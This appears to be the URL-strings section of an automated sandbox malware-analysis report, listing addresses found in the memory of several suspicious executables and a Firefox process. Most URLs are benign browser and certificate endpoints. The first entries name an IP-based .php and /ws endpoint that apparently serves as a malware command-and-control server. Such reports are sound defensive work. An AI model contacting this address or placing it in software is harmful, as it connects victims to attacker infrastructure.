Source: ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phps
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpz
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.000000000185A000.00000004.00000020.00020000.00000000.sdmp, ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2503641584.000001F841B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2503641584.000001F841B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2503641584.000001F841B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2503641584.000001F841B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/DeferredTask.sys.mjs
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/DeferredTask.sys.mjsresource:
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: df757a3a2c.exe, 00000016.00000003.2565648472.000000000068F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000025.00000002.2499244316.000001F841633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2385255730.000001F8438A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2520016985.000001F84254B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000025.00000002.2521867036.000001F842730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000025.00000002.2535737946.000001F8488FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000025.00000002.2535737946.000001F8488FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000025.00000002.2461387139.000001F83BB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000025.00000002.2461387139.000001F83BB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000025.00000002.2533356820.000001F8486B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000025.00000002.2533356820.000001F8486B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000025.00000002.2533356820.000001F8486B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000025.00000002.2533356820.000001F8486B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000025.00000002.2554244778.000038F0C1500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2553564650.00002F89BE100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledwebcompat
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 00000025.00000002.2554244778.000038F0C1500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/0
Source: firefox.exe, 00000025.00000002.2526147026.000001F843787000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2484859742.000001F840006000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2489267201.000001F840203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2521141866.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2366631839.000001F848769000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2386907180.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2478755062.000001F83FD25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2533356820.000001F84866E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2480265370.000001F83FEBB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2519163693.000001F8424E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2462144555.000001F83BCC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2484859742.000001F840009000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2382458904.000001F848651000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2524695601.000001F843311000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2480265370.000001F83FED0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2521141866.000001F842608000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2480265370.000001F83FE9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2535737946.000001F848803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2526147026.000001F8437D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2495161200.000001F840C7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000025.00000002.2554244778.000038F0C1500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000025.00000002.2522868919.000001F842851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000025.00000002.2522868919.000001F842851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/JSONFile.sys.mjsextractScheme/fixupChang
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000025.00000002.2528515054.000001F843A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2503641584.000001F841B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000025.00000003.2386907180.000001F84267E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2521141866.000001F8426A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/shopping/Shoppi
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulcreateNotificationMessageElement/setAle
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserUsageTelemet
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Sessio
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/LOAD_RECORD_START_REQUEST_DELAYInvalid
Source: file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000025.00000002.2520016985.000001F84253F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000025.00000002.2492115044.000001F840703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2540749250.000001F848BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000025.00000002.2503641584.000001F841B29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.comZ
Source: firefox.exe, 00000025.00000002.2494010655.000001F840AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000025.00000002.2494010655.000001F840AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2459673235.000001F83030E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: df757a3a2c.exe, 00000014.00000003.2184028813.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2384983215.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2461387139.000001F83BBAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: df757a3a2c.exe, 00000014.00000003.2200089454.0000000005B68000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2384983215.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2461387139.000001F83BBAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: firefox.exe, 00000025.00000002.2494010655.000001F840AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
